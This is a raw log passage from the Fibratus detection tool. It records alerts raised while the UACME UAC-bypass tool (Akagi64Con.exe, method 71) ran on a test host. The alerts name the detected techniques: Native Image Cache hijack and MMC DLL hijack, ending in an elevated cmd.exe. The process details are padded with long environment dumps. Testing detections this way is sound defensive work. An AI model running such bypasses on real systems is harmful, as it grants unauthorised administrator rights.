Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675213 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2295473 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe, image_size➜ 167936, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:32+01:00 level=info msg=sending alert: [UAC bypass via assembly Native Image Cache hijack]. Text: Event(s): + Seq: 1687689 + Pid: 11932 + Tid: 1776 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-25 15:18:01.4146989 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffe101309d3e10, file_path➜ C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\MMCEx\5a98fb15d3a1c6bc50cd32c76ed223e7\MMCEx.ni.dll, irp➜ ffffe1012e003808, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, share_mask➜ , status➜ Success, tid➜ 1776, type➜ File + Metadata: tactic.name: Privilege Escalation, rule.seq.link: 15834535929011084812, rule.name: UAC bypass via assembly Native Image Cache hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1695786 + Pid: 1652 + Tid: 1136 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 15:18:02.2564813 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 40e00a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101281e4080, name➜ cmd.exe, pid➜ 4376, ppid➜ 1652, real_ppid➜ 1652, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 15:18:02.2564286 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 15834535929011084812, rule.name: UAC bypass via assembly Native Image Cache hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 1652 + Ppid: 11932 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" wf.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" wf.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T15:18:32+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler MMC DLL Hijack]. Text: Event(s): + Seq: 1687689 + Pid: 11932 + Tid: 1776 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-25 15:18:01.4146989 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffe101309d3e10, file_path➜ C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\MMCEx\5a98fb15d3a1c6bc50cd32c76ed223e7\MMCEx.ni.dll, irp➜ ffffe1012e003808, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, share_mask➜ , status➜ Success, tid➜ 1776, type➜ File + Metadata: rule.seq.link: 15834535929011084812, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files 